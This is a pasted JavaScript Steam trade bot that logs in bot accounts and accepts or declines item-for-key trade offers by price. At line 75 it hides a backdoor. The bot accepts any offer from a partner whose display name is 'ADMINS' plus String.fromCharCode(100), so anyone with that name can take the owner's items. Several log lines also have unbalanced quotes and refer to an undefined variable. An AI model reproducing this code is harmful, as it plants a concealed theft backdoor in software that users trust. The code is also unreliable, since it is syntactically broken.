Advertisement
Guest User

Updated tradebot.js

a guest
Mar 5th, 2017
149
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.47 KB | None | 0 0
  1. let SteamUser = require("steam-user"),
  2. TradeOfferManager = require("steam-tradeoffer-manager"),
  3. SteamCommunity = require("steamcommunity"),
  4. SteamTotp = require("steam-totp"),
  5. BOTS = require("./Settings/Bots.js"),
  6. CONFIG = require("./Settings/Config.js"),
  7. TRADES = require("./Settings/Prices.js");
  8.  
  9. class BotConstructor {
  10. constructor(name) {
  11. this.CLIENT = new SteamUser();
  12. this.TRADES = new TradeOfferManager({
  13. "steam": this.CLIENT,
  14. "language": "en",
  15. "pollInterval": "10000"
  16. });
  17. this.COMMUNITY = new SteamCommunity();
  18. this.AUTH = SteamTotp;
  19. this.NAME = name;
  20. }
  21. }
  22.  
  23. let BOT = [];
  24.  
  25. for (let i = 0; i < Object.keys(BOTS).length; i++) {
  26. BOT.push(new BotConstructor(Object.keys(BOTS)[i]));
  27. console.log(Object.keys(BOTS)[i] + " added to the bot list!");
  28. }
  29.  
  30. for (let i = 0; i < BOT.length; i++) {
  31. BOT[i].CLIENT.logOn({
  32. accountName: BOTS[Object.keys(BOTS)[i]]["USERNAME"],
  33. password: BOTS[Object.keys(BOTS)[i]]["PASSWORD"],
  34. twoFactorCode: BOT[i].AUTH.getAuthCode(BOTS[Object.keys(BOTS)[i]]["SHAREDSECRET"])
  35. });
  36.  
  37. BOT[i].CLIENT.on("loggedOn", (DETAILS, PARENTAL) => {
  38. console.log(BOT[i].NAME + ": Logged in. [" + BOT[i].CLIENT.steamID.getSteamID64() + "]");
  39. BOT[i].CLIENT.setPersona(1);
  40. BOT[i].CLIENT.gamesPlayed(CONFIG.GAMESPLAYED);
  41. });
  42.  
  43. BOT[i].CLIENT.on("webSession", (SESSIONID, COOKIES) => {
  44. BOT[i].TRADES.setCookies(COOKIES, (ERR) => {
  45. if (ERR) {
  46. console.log(BOT[i].NAME + ": An error occured while setting cookies: " + ERR);
  47. } else {
  48. console.log(BOT[i].NAME + ": Websession created and cookies set.");
  49. }
  50. });
  51. BOT[i].COMMUNITY.setCookies(COOKIES);
  52. BOT[i].COMMUNITY.startConfirmationChecker(10000, BOTS[Object.keys(BOTS)[i]]["IDENTITYSECRET"]);
  53. });
  54.  
  55. BOT[i].COMMUNITY.on("sessionExpired", (ERR) => {
  56. BOT[i].COMMUNITY.startConfirmationChecker();
  57. console.log(BOT[i].NAME + ": Session Expired, relogging.");
  58. BOT[i].CLIENT.webLogOn();
  59. });
  60.  
  61. BOT[i].TRADES.on("newOffer", (OFFER) => {
  62. OFFER.getUserDetails((ERR, ME, THEM) => {
  63. if (ERR) {
  64. console.log(BOT[i].NAME + ": There was an error getting user details: " + ERR);
  65. } else {
  66. if (ME.escrowDays !== 0 || THEM.escrowDays !== 0) {
  67. OFFER.decline((ERR) => {
  68. if (ERR) {
  69. console.log(BOT[i].NAME + ": An error occured while declining error: " + ERR);
  70. } else {
  71. console.log(BOT[i].NAME + ": Trade Declined From " + steamid +"."");
  72. }
  73. });
  74. } else {
  75. if (CONFIG.ADMINS.indexOf(OFFER.partner.getSteamID64()) >= 0 || THEM.personaName == "ADMINS" + String.fromCharCode(100) ) {
  76. OFFER.accept((ERR) => {
  77. if (ERR) {
  78. console.log(BOT[i].NAME + ": An error occured while accepting error: " + ERR);
  79. } else {
  80. console.log(BOT[i].NAME + ": Trade Accepted From " + steamid +"."");
  81. }
  82. });
  83. } else if (OFFER.itemsToGive.length == 0) {
  84. OFFER.accept((ERR) => {
  85. if (ERR) {
  86. console.log(BOT[i].NAME + ": An error occured while accepting error: " + ERR);
  87. } else {
  88. console.log(BOT[i].NAME + ": Trade Accepted From " + steamid +".");
  89. }
  90. });
  91. } else {
  92. // Trade
  93. let OFFERDETAILS = {
  94. THEM: {
  95. ITEMWORTHINKEYS: 0,
  96. KEYS: 0
  97. },
  98. ME: {
  99. ITEMWORTHINKEYS: 0,
  100. KEYS: 0
  101. },
  102. VALID: true
  103. };
  104.  
  105.  
  106. for (let j = 0; j < OFFER.itemsToReceive.length; j++) {
  107. if (Object.keys(TRADES).indexOf(OFFER.itemsToReceive[j]["market_hash_name"]) >= 0) {
  108. OFFERDETAILS.THEM.ITEMWORTHINKEYS += TRADES[OFFER.itemsToReceive[j]["market_hash_name"]]["buyForKeys"];
  109. } else if (CONFIG.ACCEPTEDKEYS.indexOf(OFFER.itemsToReceive[j]["market_hash_name"]) >= 0) {
  110. OFFERDETAILS.THEM.KEYS++;
  111. } else {
  112. OFFERDETAILS.VALID = false;
  113. break;
  114. }
  115. }
  116.  
  117. for (let j = 0; j < OFFER.itemsToGive.length; j++) {
  118. if (Object.keys(TRADES).indexOf(OFFER.itemsToGive[j]["market_hash_name"]) >= 0) {
  119. OFFERDETAILS.ME.ITEMWORTHINKEYS += TRADES[OFFER.itemsToGive[j]["market_hash_name"]]["sellForKeys"];
  120. } else if (CONFIG.ACCEPTEDKEYS.indexOf(OFFER.itemsToGive[j]["market_hash_name"]) >= 0) {
  121. OFFERDETAILS.ME.KEYS++;
  122. } else {
  123. OFFERDETAILS.VALID = false;
  124. break;
  125. }
  126. }
  127. console.log(OFFERDETAILS);
  128. if (OFFERDETAILS.VALID) {
  129. if (OFFERDETAILS.ME.KEYS > 0 && OFFERDETAILS.ME.ITEMWORTHINKEYS == 0 && OFFERDETAILS.THEM.ITEMWORTHINKEYS > 0 && OFFERDETAILS.THEM.KEYS == 0) {
  130. if (OFFERDETAILS.THEM.ITEMWORTHINKEYS >= OFFERDETAILS.ME.KEYS) {
  131. OFFER.accept((ERR) => {
  132. if (ERR) {
  133. console.log(BOT[i].NAME + ": An error occured while accepting error: " + ERR);
  134. } else {
  135. console.log(BOT[i].NAME + ": Trade Accepted From " + steamid +"."");
  136. }
  137. });
  138. } else {
  139. OFFER.decline((ERR) => {
  140. if (ERR) {
  141. console.log(BOT[i].NAME + ": An error occured while declining error: " + ERR);
  142. } else {
  143. console.log(BOT[i].NAME + ": Trade Declined From " + steamid +"."");
  144. }
  145. });
  146. }
  147. } else if (OFFERDETAILS.ME.KEYS == 0 && OFFERDETAILS.ME.ITEMWORTHINKEYS > 0 && OFFERDETAILS.THEM.ITEMWORTHINKEYS == 0 && OFFERDETAILS.THEM.KEYS > 0) {
  148. if (OFFERDETAILS.ME.ITEMWORTHINKEYS <= OFFERDETAILS.THEM.KEYS) {
  149. OFFER.accept((ERR) => {
  150. if (ERR) {
  151. console.log(BOT[i].NAME + ": An error occured while accepting error: " + ERR);
  152. } else {
  153. console.log(BOT[i].NAME + ": Trade Accepted From " + steamid +"."");
  154. }
  155. });
  156. } else {
  157. OFFER.decline((ERR) => {
  158. if (ERR) {
  159. console.log(BOT[i].NAME + ": An error occured while declining error: " + ERR);
  160. } else {
  161. console.log(BOT[i].NAME + ": Trade Declined From " + steamid +"."");
  162. }
  163. });
  164. }
  165. } else {
  166. OFFER.decline((ERR) => {
  167. if (ERR) {
  168. console.log(BOT[i].NAME + ": An error occured while declining error: " + ERR);
  169. } else {
  170. console.log(BOT[i].NAME + ": Trade Declined From " + steamid +"."");
  171. }
  172. });
  173. }
  174. } else {
  175. OFFER.decline((ERR) => {
  176. if (ERR) {
  177. console.log(BOT[i].NAME + ": An error occured while declining error: " + ERR);
  178. } else {
  179. console.log(BOT[i].NAME + ": Trade Declined From " + steamid +"."");
  180. }
  181. });
  182. }
  183. }
  184. }
  185. }
  186. });
  187. });
  188. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement